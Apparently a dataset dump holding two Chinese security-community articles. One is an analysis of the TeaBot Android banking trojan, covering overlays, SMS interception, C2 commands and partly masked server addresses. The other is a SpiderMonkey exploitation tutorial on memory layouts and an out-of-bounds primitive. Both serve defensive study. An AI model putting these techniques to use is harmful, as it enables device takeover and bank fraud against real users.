text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
# TeaBot-目标欧洲银行的Android恶意软件
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 1\. 概述
银行恶意软件一直都是我们暗影实验室关注的重点。近期，意大利出现了一种新型的Android恶意软件，研究人员发现它与目前已知的银行木马家族都不相关，命名这款新型的银行木马家族为TeaBot（也有命名为Anatsa）。
该恶意软件最初出现时间是在2020年12月初，它伪装成“VLC_MediaPlayer”，“TeaTV”应用程序。TeaBot家族恶意软件的其主要目标是窃取用户凭证信息和短信消息，用于已预先设计好的银行欺诈方案。
目前，TeaBot似乎处于开发的早期阶段。2021年3月，发现意大利银行的相关注入模块，2021年5月，发现比利时和荷兰银行的注入
用户在成功安装TeaBot后，攻击者就可以随时实时获取设备屏幕，并通过AccessibilityServices交互，窃取用户隐私信息，根据用户安装的应用列表，获知已安装的银行应用，并分发已预先设计好的银行欺诈注入代码，诱导用户登录，操作等，并获取用户短信验证消息，最终导致用户个人信息泄露和财产损失，安装图标如下：
VLC_MediaPlayer TeaTV
## 2\. 样本信息
表2-1 样本基本信息
序号 | | 应用安装名称 | | MD5 | | 版本号 |
---|---|---|---|---|---|---|---
1 | | VLC_MediaPlayer | | B694BA8BF9C8D2B9CFDE8C20C76C4716 | | 1.0 |
2 | | TeaTV | | CB187F22AA2A67C28CB604487E85BE9F | | 1.0 |
## 3\. 程序运行流程图
图3-1 TeaBot程序运行流程图
## 4\. 样本分析
### **4.1 静态分析**
**4.1.1 增高安全分析难度**
**4.1.1.1 dex动态加载**
在启动恶意软件后，先执行自定义Application类的attachBaseContext方法，然后执行ghostincome方法动态加载assets文件路径内的rA.json文件。rA.json文件是一个加密的dex文件，恶意代码模块主要集中在rA.json文件内。
图4-1-1 动态加载rA.json文件过程
**4.1.1.2 使用XOR加密算法**
通过静态分析发现，该样本使用XOR加密算法对部分网络通信进行加密。
图4-1-2 XOR加密
**4.1.2 TeaBot支持6种语言**
通过逆向分析代码发现，TeaBot检索银行app时，判断的结果使用了6种语言（西班牙语，英语，意大利语，德语，法语和荷兰语）。
图4-1-3 支持6种语言
**4.1.3 主要功能**
**4.1.3.1 跟踪记录**
通过使用Android无障碍服务，TeaBot能够观察和跟踪用户在目标应用程序上执行的所有信息，并将关键的跟踪信息通过SharedPreferences储存到config.xml配置文件中。TeaBot在与C&C服务器进行首次通信时，会发送已安装应用程序的列表，以验证受感染的设备是否已安装一个或多个目标应用程序。当其中有一个匹配时，它会下载特定的WebView以执行覆盖攻击，并开始跟踪用户在目标应用程序上执行的所有活动。这些信息都是每间隔10秒发送到指定的C&C服务器。下图为代码模块和config文件：
服务器地址：185.*.*.31:80
图4-1-4 发送请求获取检索应用代码
图4-1-5 写入config.xml
配置文件中包含需要检索的应用包名、远控指令执行状态、C2服务器的url等。远控和检索包名等功能都是在无障碍服务的onAccessibilityEvent方法中执行的。
**4.1.3.2 屏幕截图**
TeaBot可以进行屏幕截图来不断监视受感染设备的屏幕。当用户启动恶意软件后，Teabot发送包含设备信息的post请求至C&C服务器，服务器返回信息中如果含有一套IP地址和PORT的“
start_client ”命令时，开始启动截图。TeaBot启动一个循环，在该循环中创建一个“VirtualScreen”以获取屏幕截图。
1）发送post请求到服务器
服务器地址：185.215.***.31:80
图4-1-6 发送post请求
2）服务器返回“start_client”指令
图4-1-7 解析返回指令“start_client”
3）启动截屏模块
图4-1-8 启动截屏模块
**4.1.3.3 覆盖攻击**
覆盖攻击是一种Android银行木马（例如Anubis，Cerberus）普遍的技术手段，虚假的界面覆盖能够迷惑和诱骗用户信以为真，继而窃取用户的个人隐私。
通常有两种方式：1、伪造虚假的银行app并启用；2、在合法应用程序（例如银行应用程序）的上层启动一个虚假的WebView来迷惑和欺诈用户。TeaBot能够对多个银行应用程序执行覆盖攻击，以窃取登录凭据和银行卡信息。
图4-1-9 覆盖攻击模块
根据抓包和恶意代码分析，总结了覆盖攻击的流程图如下：
1）先判断是否含有特定的银行应用包名，然后下载注入模块。
2）用户打开银行应用，操作的数据会上传C2服务器，C2服务器返回覆盖攻击的远控指令。
3）虚假的webview会覆盖真实的银行app界面，诱导用户输入登录凭证。
4）窃取的用户隐私通过加密的POST请求上传至C2服务器。
图4-1-10 覆盖攻击流程图
**4.1.3.4 其他功能**
**1）能够拦截/隐藏短信**
恶意软件具有拦截/隐藏短信的功能，拦截的短信信息会通过每隔10s的post加密请求发送到C2服务器（服务器地址：185.215.***.31:80），其主要目的是获取用户银行登录或修改密码的短信验证。隐藏短信的主要目的是隐秘的修改或登录用户银行账号，防止用户发现。
图4-1-11 拦截短信
图4-1-12 隐藏短信
**2）能够窃取Google身份验证code。**
图4-1-13 窃取Google身份验证code
**3） 远程控制Android设备**
恶意软件通过无障碍辅助功能和实时屏幕共享，将收集的信息、截图实时上传至服务器（服务器地址：185.215.***.31:80），再通过解析服务器的返回，获取远控指令，并通过无障碍辅助功能实现其远控功能。如下图是无障碍辅助功能开启后，onAccessibilityEvent方法中的远控操作：
图4-1-14 远程操作
更多远控指令详见“表4-1远控指令列表”，以下是其中一个远控操作（获取用户账号信息），如下图所示：
图4-1-15 远程操作-获取用户账号信息
### **4.2 动态分析**
**4.2.1 启用无障碍辅助服务**
I.
此类木马在启动后，会诱骗用户开启无障碍辅助服务(AccessibilityService)。此服务设计初衷在于帮助残障用户使用android设备和应用，启动后在后台运行，可以监听用户界面的状态。如下图所示：
图4-2-1 诱骗用户开启无障碍辅助服务
此恶意程序通过此服务监听用户手机界面变化，同时会禁止用户查看应用程序列表，禁止用户关闭无障碍模式，阻止用户卸载此应用。一般用户极难卸载此类木马。
II. 开启无障碍辅助服务后，TeaBot会请求敏感的android权限，如上图：
权限 | | 功能 |
---|---|---|---
监测您的操作 | | 用于拦截和监视用户的操作 |
检索窗口内容 | | 用于正在访问的窗口内容，如登录凭证、短信等 |
执行手势 | | 可执行操作手势 |
III.
接受请求的权限后，恶意应用程序将从设备中删除自身的图标。删除图标后，此恶意程序依然在后台运行，与C&C服务器通信并持续监控和窃取用户数据，然而用户却并不知情。
**4.2.2 在后台与C &C服务器通信**
**4.2.2.1 使用http协议通信**
通过抓包发现恶意程序和C&C之间的通信使用的是http协议。服务器地址：185.215.***.31:80
图4-2-2 wireshark抓包数据
如图所示，根据其网络通讯内容和功能，将与C&C服务器的通信分为3个阶段：
1）Uricontent：/api/botupdate
从抓包数据中可以发现，TeaBot恶意软件每10秒钟发送一次POST请求，其中包含有关受感染设备的所有信息（图4-2-7网络数据加密部分详解）。
图4-2-3 第一次请求botupdate
C&C服务器返回信息使用异或XOR解密，如下图：
图4-2-4 C2返回信息解密
该响应通常由配置更新组成（例如C2地址，远控命令启动等）。
2）Uricontent：/api/getkeyloggers
每10秒钟TeaBot执行一次GET请求，以检索跟踪记录功能所收到的应用程序列表。
图4-2-5 第二次请求getkeyloggers
3）Uricontent：/api/getkeylogge
TeaBot发送包含受感染设备上安装的所有程序包名称的JSON文件（未加密）的POST请求。通过这些信息，C&C服务器就能知道是否有一个或多个目标应用程序，并响应下载相关的注入。
图4-2-6 第三次请求getbotinjects
**4.2.2.2 使用XOR异或加密流量**
通过逆向恶意代码模块，发现其加密部分使用了XOR异或加密。
图4-2-7 网络数据加密部分详解
**4.2.2.3 远控命令**
恶意程序通过onAccessibilityEvent方法实施远控操作，包含的远控指令，如下表所示：
**指令** | | **功能** |
---|---|---|---
app_delete | | 从包名称中删除一个应用程序 |
ask_syspass | | 显示生物识别授权弹出窗口 |
ask_perms | | 向用户请求权限 |
change_pass | | 显示一条提示消息（小弹出窗口），通知用户更新密码（锁定模式） |
get_accounts | | 在Android设置中获取帐户 |
kill_bot | | 自行删除 |
muute_phone | | 使设备静音 |
open_activity | | 通过包名打开一个应用程序 |
open_inject | | 执行覆盖攻击，打开注入（html负载） |
reset_pass | | 功能缺失 |
start_client | | 设置一个IP和PORT，用于通过屏幕截图观察受感染的设备 |
swipe_down | | 执行手势，例如在屏幕上滑动 |
grab_google_auth | | 打开并在Google Auth应用中获取code |
activate_screen | | 启用屏幕。TeaBot能够控制设备的屏幕（例如，能够使屏幕保持暗淡状态） |
表4-2远控指令列表
### **4.3 服务器地址**
**服务器地址** | | **分布区域** |
---|---|---|---
185.215.***.31 | | 英国（塞舌尔 英吉利河 维多利亚） |
Kop***apalo.xyz | | 比利时（域名解析：35.205.**.67） |
Sepo***kotop.xyz | | 德国（域名解析：87.106.**.146） |
表4-3 服务器地址分布
## 5\. 应用危害
此类银行木马的危害十分严重，一旦安装后，用户的所有信息将被窃取，并且还会实时的监控用户的使用状态、截屏上传服务器。此木马最大的危害是对银行信息的窃取，其使用的覆盖攻击可以以假乱真，在用户不知情的情况下，轻松获取用户的凭证和短信信息。对用户造成财产损失。虽然目前TeaBot只是针对欧洲银行，但是不排除会增加其他国家的银行注入，所以此类木马家族还需要持续关注。
## 6\. 安全建议
1. 此恶意软件对自身实时了保护，用户通常难以卸载。
（1）立即关闭所有网络连接（断开手机移动网络和wlan），在未删除app前，建议禁止网络连接；
（2）使用adb指令删除恶意软件；
（3）如果以上方法都无法删除，备份一些重要数据到电脑，然后恢复出厂设置。
1. 用户安装所需软件，建议去正规的应用市场下载、去官方下载。
2. 在手机当中安装必要的安全软件，并保持安全软件更新。
3. 关注“暗影安全实验室”微信公众号，我们将持续关注安全事件。 | 社区文章 |
# Firefox Pwn 0x00
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 概述
前一阵在学习浏览器PWN，花了几天把这篇[文章](https://doar-e.github.io/blog/2018/11/19/introduction-to-spidermonkey-exploitation)啃完了，其中的几个exp也都调试了下，学到很多。
原文十分详细地描述了把18年的ctf题 [Blazefox](https://ctftime.org/task/6000)
移植到Windows平台利用的过程，总共写了三个exp脚本（basic.js, kaizen.js,
ifrit.js)，从一开始硬编码的rop链到后面动态解析地址并利用JIT携带rop gadget，循序渐进。
这篇文章梳理了一下spidermonkey基础知识，并讲讲basic.js中的利用方法。
## 环境搭建
> <https://github.com/0vercl0k/blazefox/releases> 这里有编译好的，懒得编译的同学可以自取。
### clone
首先要把gecko代码拉下来，由于是教程是写于18年的，可能现在代码改动比较多，拉最新分支的代码patch会打不上去，于是只好全部clone下来。
git clone https://github.com/mozilla/gecko-dev.git
这里代码量有点大（5.6g），国内的网络状态估计不太容易拉下来，git clone
貌似也不支持断点续传，中途连接中断就很伤。我的做法是到国外vps上去clone，打包压缩之后下载到本地。
### patch
有了代码之后接下来就是打patch，由于最新分支patch打不上去，于是我试着切到patch中标注的日期所对应的commit，最后切到be1b849fa264成功打上了patch。（过程曲折。。）
# 打印某个日期范围内的commit信息
git log --after="2018-04-01 00:00" --before="2018-04-10 23:59"
git checkout -f be1b849fa264
cd gecko-devjs
git apply c:xxxblaze.patch
# git apply --reject --whitespace=fix mypath.patch
# git checkout -f master
### build
坑爹的visual studio， 这里折腾了一天。详细记一下
安装
[MozillaBuildSetup-3.2.exe](https://ftp.mozilla.org/pub/mozilla/libraries/win32/MozillaBuildSetup-3.2.exe)
，在C:mozilla-build下面找到start-shell.bat双击打开是一个mingw32的终端，之后就在这里面操作。
到这个链接下<https://docs.microsoft.com/en-us/visualstudio/productinfo/installing-an-earlier-release-of-vs2017> ，找到15.6.7版本的链接点开下载。注意！google
vs2017搜到的是最新版本的vs2017，最新版本编译是会有问题的。
下图是安装最新版本vs2017或者vs2019，后面编译时的报错：
“This version (19.16.27034) of the MSVC compiler is not supported due to
compiler bugs.”,
“You must install Visual C++ 2017 Update 6 in order to build”
根据[bugzilla里面的说法](https://bugzilla.mozilla.org/show_bug.cgi?id=1472148)，这里的Update
6指的就是15.6版本.
安装完之后，配置、编译、运行
gecko-dev/js/src$ autoconf-2.13
gecko-dev/js/src$ mkdir build.asserts
gecko-dev/js/src$ cd build.asserts
gecko-dev/js/src/build.asserts$ ../configure --host=x86_64-pc-mingw32 --target=x86_64-pc-mingw32 --enable-debug # vs版本不对的话这里会报错
gecko-dev/js/src/build.asserts$ mozmake -j2
# 到这里编译完成，产出js.exe，此时运行js.exe，会报错缺少dll
gecko-dev/js/src/build.asserts$ cp ./mozglue/build/mozglue.dll ./config/external/nspr/pr/nspr4.dll ./js/src/
gecko-dev/js/src/build.asserts$./js/src/js.exe # done！
js> 1+1
2
js>
## 数据表示
js引擎中都会有一些用来debug的函数，和 JavaScriptCore 中的describe一样， SpiderMonkey中也有类似的：
* objectAddress 打印object地址
* dumpObject 打印object信息
打开windbg，attach到js.exe，按g运行，设置断点的方式是找一个很少被用到的函数，比如 `Math.atan2` 。
Math.atan2的函数签名如下：
bool js::math_atan2(JSContext* cx, unsigned argc, Value* vp)
windows x64汇编中，函数传参使用前三个寄存器依次是：RCX, RDX, R8D
dqs @r8 l@rdx+2 # dqs每行打印8bytes长度， 第一个参数是起始地址，第二个参数Lxx是几行
在math_atan2处断下后argc+2(rdx)是参数个数，vp(r8)指向参数列表，这里个数是argc+2的原因是保留了两个参数（返回值和this指针）
所以`dqs [@r8](https://github.com/r8 "@r8") l[@rdx](https://github.com/rdx
"@rdx")+2`打印出函数的三个参数，第一个是返回值，第二个是this指针，第三个就是调用时传入的参数。
接下来通过下面的测试脚本来看看不同数据类型在内存中的表示：
'use strict';
const Address = Math.atan2;
const A = 0x1337;
Address(A);
const B = 13.37;
Address(B);
const C = [1, 2, 3, 4, 5];
Address(C);
### 整数 浮点数
上图是在`Address(A)`处断下，可以看出整数A(1377)在内存中的表示是fff88000`00001337
0:000> dqs @r8 l@rdx+2
0000028f`87ab8198 fffe028f`877a9700
0000028f`87ab81a0 fffe028f`87780180
0000028f`87ab81a8 402abd70`a3d70a3d Value* vp
0:000> .formats 402abd70`a3d70a3d
Evaluate expression:
Hex: 402abd70`a3d70a3d
Double: 13.37
相应的，浮点数B(13.37)在内存中的表示为402abd70`a3d70a3d，
对象C在内存中的表示为fffe028f`87790400,
经过分析， `JS::Value` 的高17位是tag保存类型信息，低47位是value保存值信息。（17+47=64）
tag表示如何解读后面的value，当tag是整数、布尔这些类型的时候，value是立即数；当tag是object的时候，value是指针。
enum JSValueType : uint8_t
{
JSVAL_TYPE_DOUBLE = 0x00,
JSVAL_TYPE_INT32 = 0x01,
JSVAL_TYPE_BOOLEAN = 0x02,
JSVAL_TYPE_UNDEFINED = 0x03,
JSVAL_TYPE_NULL = 0x04,
JSVAL_TYPE_MAGIC = 0x05,
JSVAL_TYPE_STRING = 0x06,
JSVAL_TYPE_SYMBOL = 0x07,
JSVAL_TYPE_PRIVATE_GCTHING = 0x08,
JSVAL_TYPE_OBJECT = 0x0c,
// These never appear in a jsval; they are only provided as an out-of-band
// value.
JSVAL_TYPE_UNKNOWN = 0x20,
JSVAL_TYPE_MISSING = 0x21
};
JS_ENUM_HEADER(JSValueTag, uint32_t)
{
JSVAL_TAG_MAX_DOUBLE = 0x1FFF0,
JSVAL_TAG_INT32 = JSVAL_TAG_MAX_DOUBLE | JSVAL_TYPE_INT32, //int的tag是0x1ff1
JSVAL_TAG_UNDEFINED = JSVAL_TAG_MAX_DOUBLE | JSVAL_TYPE_UNDEFINED,
JSVAL_TAG_NULL = JSVAL_TAG_MAX_DOUBLE | JSVAL_TYPE_NULL,
JSVAL_TAG_BOOLEAN = JSVAL_TAG_MAX_DOUBLE | JSVAL_TYPE_BOOLEAN,
JSVAL_TAG_MAGIC = JSVAL_TAG_MAX_DOUBLE | JSVAL_TYPE_MAGIC,
JSVAL_TAG_STRING = JSVAL_TAG_MAX_DOUBLE | JSVAL_TYPE_STRING,
JSVAL_TAG_SYMBOL = JSVAL_TAG_MAX_DOUBLE | JSVAL_TYPE_SYMBOL,
JSVAL_TAG_PRIVATE_GCTHING = JSVAL_TAG_MAX_DOUBLE | JSVAL_TYPE_PRIVATE_GCTHING,
JSVAL_TAG_OBJECT = JSVAL_TAG_MAX_DOUBLE | JSVAL_TYPE_OBJECT
} JS_ENUM_FOOTER(JSValueTag);
从上面的定义中可以看出，int类型的tag是0x1ff1，object类型的tag是0x1ffc
验证如下：
>>> v = 0xfff8800000001337
>>> hex(v >> 47)
'0x1fff1'
>>> hex(v & ((2**47) - 1))
'0x1337'
>>>
>>> obj = 0xfffe028f87790400
>>> hex(obj>>47)
'0x1fffc'
>>> hex(obj & ((2**47)-1))
'0x28f87790400'
>>>
### 数组
# const C = [1, 2, 3, 4, 5];
0:000> dqs @r8 l@rdx+2
0000027a`bf5b8198 fffe027a`bf2a9480
0000027a`bf5b81a0 fffe027a`bf280140
0000027a`bf5b81a8 fffe027a`bf2900a0 👈
0:000> dqs 27a`bf2900a0
0000027a`bf2900a0 0000027a`bf27ab20
0000027a`bf2900a8 0000027a`bf2997e8
0000027a`bf2900b0 00000000`00000000
0000027a`bf2900b8 0000027a`bf2900d0 数据指针👇
0000027a`bf2900c0 00000005`00000000
0000027a`bf2900c8 00000005`00000006
0000027a`bf2900d0 fff88000`00000001 <= 数组数据开始
0000027a`bf2900d8 fff88000`00000002
0000027a`bf2900e0 fff88000`00000003
0000027a`bf2900e8 fff88000`00000004
0000027a`bf2900f0 fff88000`00000005
0000027a`bf2900f8 4f4f4f4f`4f4f4f4f
打印数组的信息，可以发现数据整齐排布在后面，也可以看到疑似数据长度、指针这些东西。通过查看结构体信息可以验证我们的猜想。
0:000> dt JSObject
+0x000 group_ : js::GCPtr<js::ObjectGroup *>
+0x008 shapeOrExpando_ : Ptr64 Void
0:000> dt js::NativeObject
+0x000 group_ : js::GCPtr<js::ObjectGroup *>
+0x008 shapeOrExpando_ : Ptr64 Void
+0x010 slots_ : Ptr64 js::HeapSlot
+0x018 elements_ : Ptr64 js::HeapSlot
0:000> dt js::ArrayObject
+0x000 group_ : js::GCPtr<js::ObjectGroup *>
+0x008 shapeOrExpando_ : Ptr64 Void
+0x010 slots_ : Ptr64 js::HeapSlot
+0x018 elements_ : Ptr64 js::HeapSlot
继承链： js::ArrayObject <= js::NativeObject <= JS::ShapedObject<= JSObject
### 对象
> 推荐视频：<https://mathiasbynens.be/notes/shapes-ics>
我们主要后面关注property(属性)和value(值)，shape描述对象 properties 的信息，在shapeOrExpando_中表示。
后面用来调试的代码：
'use strict';
const Address = Math.atan2;
const A = {
foo : 1337,
blah : 'doar-e'
};
Address(A);
const B = {
foo : 1338,
blah : 'sup'
};
Address(B);
const C = {
foo : 1338,
blah : 'sup'
};
C.another = true; // C增加了一个prop
Address(C);
**prop**
# address(A)处断下
0:000> ?? vp[2].asBits_
unsigned int64 0xfffe01fc`e637e1c0
0:000> dt js::NativeObject 1fc`e637e1c0 shapeOrExpando_ # 可以这样连着写
+0x008 shapeOrExpando_ : 0x000001fc`e63ae880 Void
0:000> ?? ((js::shape*)0x000001fc`e63ae880)
class js::Shape * 0x000001fc`e63ae880
+0x000 base_ : js::GCPtr<js::BaseShape *>
+0x008 propid_ : js::PreBarriered<jsid> # 存储prop信息
+0x010 immutableFlags : 0x2000001 #低位存slot number
+0x014 attrs : 0x1 ''
+0x015 mutableFlags : 0 ''
+0x018 parent : js::GCPtr<js::Shape *>
+0x020 kids : js::KidsPointer
+0x020 listp : (null)
0:000> ?? ((js::shape*)0x000001fc`e63ae880)->propid_.value
struct jsid
+0x000 asBits : 0x000001fc`e63a7e20
0:000> ?? (char*)((JSString*)0x000001fc`e63a7e20)->d.inlineStorageLatin1
char * 0x000001fc`e63a7e28
"blah"
shape objects 直接通过链表连接(.parent)
0:000> ?? ((js::shape*)0x000001fc`e63ae880)->parent.value
class js::Shape * 0x000001fc`e63ae858
+0x000 base_ : js::GCPtr<js::BaseShape *>
+0x008 propid_ : js::PreBarriered<jsid>
+0x010 immutableFlags : 0x2000000
+0x014 attrs : 0x1 ''
+0x015 mutableFlags : 0x2 ''
+0x018 parent : js::GCPtr<js::Shape *>
+0x020 kids : js::KidsPointer
+0x020 listp : 0x000001fc`e63ae880 js::GCPtr<js::Shape *>
0:000> ?? ((js::shape*)0x000001fc`e63ae880)->parent.value->propid_.value
struct jsid
+0x000 asBits : 0x000001fc`e633d700
0:000> ?? (char*)((JSString*)0x000001fc`e633d700)->d.inlineStorageLatin1
char * 0x000001fc`e633d708
"foo"
B和A的property信息是相同的，所以他们使用相同的shape: `0x000001fc e63ae880`
# address(B)处断下
0:000> ?? vp[2].asBits_
unsigned int64 0xfffe01fc`e637e1f0
0:000> dt js::NativeObject 1fc`e637e1f0 shapeOrExpando_
+0x008 shapeOrExpando_ : 0x000001fc`e63ae880 Void
C相比A和B增加了一个property，来看看他有什么变化，
# address(C)处断下
0:000> ?? vp[2].asBits_
union JS::Value
+0x000 asBits_ : 0xfffe01e7`c247e1c0
0:000> dt js::NativeObject 1fc`e637e1f0 shapeOrExpando_
+0x008 shapeOrExpando_ : 0x000001fc`e63b10d8 Void
0:000> ?? ((js::shape*)0x000001fc`e63b10d8)
class js::Shape * 0x000001fc`e63b10d8
+0x000 base_ : js::GCPtr<js::BaseShape *>
+0x008 propid_ : js::PreBarriered<jsid>
+0x010 immutableFlags : 0x2000002
+0x014 attrs : 0x1 ''
+0x015 mutableFlags : 0 ''
+0x018 parent : js::GCPtr<js::Shape *>
+0x020 kids : js::KidsPointer
+0x020 listp : (null)
0:000> ?? ((js::shape*)0x000001fc`e63b10d8)->propid_.value
struct jsid
+0x000 asBits : 0x000001fc`e63a7e60
0:000> ?? (char*)((JSString*)0x000001fc`e63a7e60)->d.inlineStorageLatin1
char * 0x000001fc`e63a7e68
"another"
0:000> ?? ((js::shape*)0x000001fc`e63b10d8)->parent.value
class js::Shape * 0x000001fc`e63ae880 # 这个是A、B的shape
C使用一个新的shape对象，他的parent指针指向A、B的shape对象，形成链表结构
图示如下：
**value**
value存在elements_中，各个value依次排列。 通过shape对象immutableFlags中的值作为索引把prop和value联系起来。
0:000> ?? vp[2].asBits_
unsigned int64 0xfffe01fc`e637e1c0
0:000> ?? vp[2].asBits_
unsigned int64 0xfffe01fc`e637e1c0
0:000> dt js::NativeObject 1fce637e1c0
+0x000 group_ : js::GCPtr<js::ObjectGroup *>
+0x008 shapeOrExpando_ : 0x000001fc`e63ae880 Void
+0x010 slots_ : (null)
+0x018 elements_ : 0x00007ff7`7707dac0 js::HeapSlot
0:000> dqs 1fc`e637e1c0
000001fc`e637e1c0 000001fc`e637a520
000001fc`e637e1c8 000001fc`e63ae880
000001fc`e637e1d0 00000000`00000000
000001fc`e637e1d8 00007ff7`7707dac0 js!emptyElementsHeader+0x10
000001fc`e637e1e0 fff88000`00000539 <- 1337
000001fc`e637e1e8 fffb01fc`e63a7e40 <- "doar-e"
0:000> ?? (char*)((JSString*)0x1fce63a7e40)->d.inlineStorageLatin1
char * 0x000001fc`e63a7e48
"doar-e"
### 更多类型
按照上面的方法可以把感兴趣的类型都看一看，这里举一些例子。
windbg打开可执行文件js.exe，参数填写`-i` ,在交互模式下调试
js> const br = Math.atan2;
js> const od = objectAddress;
js> ar=new Array(1,2,3,4)
[1, 2, 3, 4]
js> u8a = new Uint8Array(16)
({0:0, 1:0, 2:0, 3:0, 4:0, 5:0, 6:0, 7:0, 8:0, 9:0, 10:0, 11:0, 12:0, 13:0, 14:0, 15:0})
js> u32a = new Uint32Array(16)
({0:0, 1:0, 2:0, 3:0, 4:0, 5:0, 6:0, 7:0, 8:0, 9:0, 10:0, 11:0, 12:0, 13:0, 14:0, 15:0})
js> ab = new ArrayBuffer(100)
({})
js> od(ar)
"00000246ABA01B00"
js> od(u8a)
"00000246ABA01B60"
js> od(u32a)
"00000246ABA01BC0"
js> od(ab)
"00000246ABB94080"
js>
0:001> dqs 00000246ABA01B00 # ar=new Array(1,2,3,4)
00000246`aba01b00 00000246`abb7acd0 # group??
00000246`aba01b08 00000246`abb997e8 # shapes
00000246`aba01b10 00000000`00000000 # slot
00000246`aba01b18 00000246`aba01b30 # 数据指针 element
00000246`aba01b20 00000004`00000000 # ?
00000246`aba01b28 00000004`00000006 # ?
00000246`aba01b30 fff88000`00000001 # 数据
00000246`aba01b38 fff88000`00000002
00000246`aba01b40 fff88000`00000003
00000246`aba01b48 fff88000`00000004
00000246`aba01b50 2f2f2f2f`2f2f2f2f
00000246`aba01b58 2f2f2f2f`2f2f2f2f
00000246`aba01b60 00000246`abb7ae50
00000246`aba01b68 00000246`abbb3038
00000246`aba01b70 00000000`00000000
00000246`aba01b78 00007ff7`10eedac0 js!emptyElementsHeader+0x10
0:001> ?? ( js::ArrayObject * )0x0000246ABA01B00
class js::ArrayObject * 0x00000246`aba01b00
+0x000 group_ : js::GCPtr<js::ObjectGroup *>
+0x008 shapeOrExpando_ : 0x00000246`abb997e8 Void
+0x010 slots_ : (null)
+0x018 elements_ : 0x00000246`aba01b30 js::HeapSlot
=00007ff7`10ebed88 class_ : js::Class
0:001> dqs 00000246ABA01B60 # u8a = new Uint8Array(16)
00000246`aba01b60 00000246`abb7ae50 # group
00000246`aba01b68 00000246`abbb3038 # shape
00000246`aba01b70 00000000`00000000 # slot
00000246`aba01b78 00007ff7`10eedac0 js!emptyElementsHeader+0x10
00000246`aba01b80 fffa0000`00000000 # BUFFER_SLOT
00000246`aba01b88 fff88000`00000010 # 长度 LENGTH_SLOT
00000246`aba01b90 fff88000`00000000 # BYTEOFFSET_SLOT
00000246`aba01b98 00000246`aba01ba0 #数据指针 DATA_SLOT
00000246`aba01ba0 00000000`00000000 #数据 Inline data
00000246`aba01ba8 00000000`00000000
00000246`aba01bb0 2f2f2f2f`2f2f2f2f
00000246`aba01bb8 2f2f2f2f`2f2f2f2f
00000246`aba01bc0 00000246`abb7af10
00000246`aba01bc8 00000246`abbb3178
00000246`aba01bd0 00000000`00000000
00000246`aba01bd8 00007ff7`10eedac0 js!emptyElementsHeader+0x10
0:001> ?? (js::ArrayBufferViewObject *) 0x0000246ABA01B60
class js::ArrayBufferViewObject * 0x00000246`aba01b60
+0x000 group_ : js::GCPtr<js::ObjectGroup *>
+0x008 shapeOrExpando_ : 0x00000246`abbb3038 Void
+0x010 slots_ : (null)
+0x018 elements_ : 0x00007ff7`10eedac0 js::HeapSlot
0:001> dqs 00000246ABA01BC0 # u32a = new Uint32Array(16)
00000246`aba01bc0 00000246`abb7af10
00000246`aba01bc8 00000246`abbb3178
00000246`aba01bd0 00000000`00000000
00000246`aba01bd8 00007ff7`10eedac0 js!emptyElementsHeader+0x10
00000246`aba01be0 fffa0000`00000000
00000246`aba01be8 fff88000`00000010
00000246`aba01bf0 fff88000`00000000
00000246`aba01bf8 00000246`aba01c00
00000246`aba01c00 00000000`00000000
00000246`aba01c08 00000000`00000000
00000246`aba01c10 00000000`00000000
00000246`aba01c18 00000000`00000000
00000246`aba01c20 00000000`00000000
00000246`aba01c28 00000000`00000000
00000246`aba01c30 00000000`00000000
00000246`aba01c38 00000000`00000000
0:001> dqs 00000246ABB94080 # ab = new ArrayBuffer(100)
00000246`abb94080 00000246`abb7afa0
00000246`abb94088 00000246`abbb3380
00000246`abb94090 00000000`00000000
00000246`abb94098 00007ff7`10eedac0 js!emptyElementsHeader+0x10
00000246`abb940a0 00000123`55f81020 # 数据指针（要移位）
00000246`abb940a8 fff88000`00000064 # 长度
00000246`abb940b0 fffa0000`00000000 # first view??
00000246`abb940b8 fff88000`00000008 # flags
00000246`abb940c0 4f4f4f4f`4f4f4f4f
00000246`abb940c8 4f4f4f4f`4f4f4f4f
00000246`abb940d0 4f4f4f4f`4f4f4f4f
00000246`abb940d8 4f4f4f4f`4f4f4f4f
00000246`abb940e0 4f4f4f4f`4f4f4f4f
00000246`abb940e8 4f4f4f4f`4f4f4f4f
00000246`abb940f0 4f4f4f4f`4f4f4f4f
00000246`abb940f8 4f4f4f4f`4f4f4f4f
0:001> ?? ( js::ArrayBufferObject * )0x0000246ABB94080
class js::ArrayBufferObject * 0x00000246`abb94080
+0x000 group_ : js::GCPtr<js::ObjectGroup *>
+0x008 shapeOrExpando_ : 0x00000246`abbb3380 Void
+0x010 slots_ : (null)
+0x018 elements_ : 0x00007ff7`10eedac0 js::HeapSlot
=00007ff7`10ee1cc0 class_ : js::Class
=00007ff7`10ee1cf0 protoClass_ : js::Class
0:001> ? 00000123`55f81020 <<2
Evaluate expression: 5005111214208 = 0000048d`57e04080
0:001> ? 00000123`55f81020 <<1
Evaluate expression: 2502555607104 = 00000246`abf02040
0:001> dqs 00000246`abf02040
00000246`abf02040 00000000`00000000
00000246`abf02048 00000000`00000000
00000246`abf02050 00000000`00000000
00000246`abf02058 00000000`00000000
00000246`abf02060 00000000`00000000
00000246`abf02068 00000000`00000000
00000246`abf02070 00000000`00000000
00000246`abf02078 00000000`00000000
00000246`abf02080 00000000`00000000
00000246`abf02088 00000000`00000000
00000246`abf02090 00000000`00000000
00000246`abf02098 00000000`00000000
00000246`abf020a0 00000000`00000000
00000246`abf020a8 00000000`00000000
00000246`abf020b0 00000000`00000000
00000246`abf020b8 00000000`00000000
## 利用
### 漏洞
patch中给Array增加了一个函数blaze，此函数把Array的长度设成420。这样“造”出来一个越界访问漏洞。
利用思路是在Array后面放置Uint8Array，通过越界访问Uint8Array来做泄露（读element）和任意地址读写（读写数据指针和数据长度）。下面是Uint8Array的内存布局：
0:001> dqs 00000246ABA01B60 # u8a = new Uint8Array(16)
00000246`aba01b60 00000246`abb7ae50 # group
00000246`aba01b68 00000246`abbb3038 # shape
00000246`aba01b70 00000000`00000000 # slot
00000246`aba01b78 00007ff7`10eedac0 js!emptyElementsHeader+0x10
00000246`aba01b80 fffa0000`00000000 # BUFFER_SLOT
00000246`aba01b88 fff88000`00000010 # 长度 LENGTH_SLOT
00000246`aba01b90 fff88000`00000000 # BYTEOFFSET_SLOT
00000246`aba01b98 00000246`aba01ba0 #数据指针 DATA_SLOT
00000246`aba01ba0 00000000`00000000 #数据 Inline data
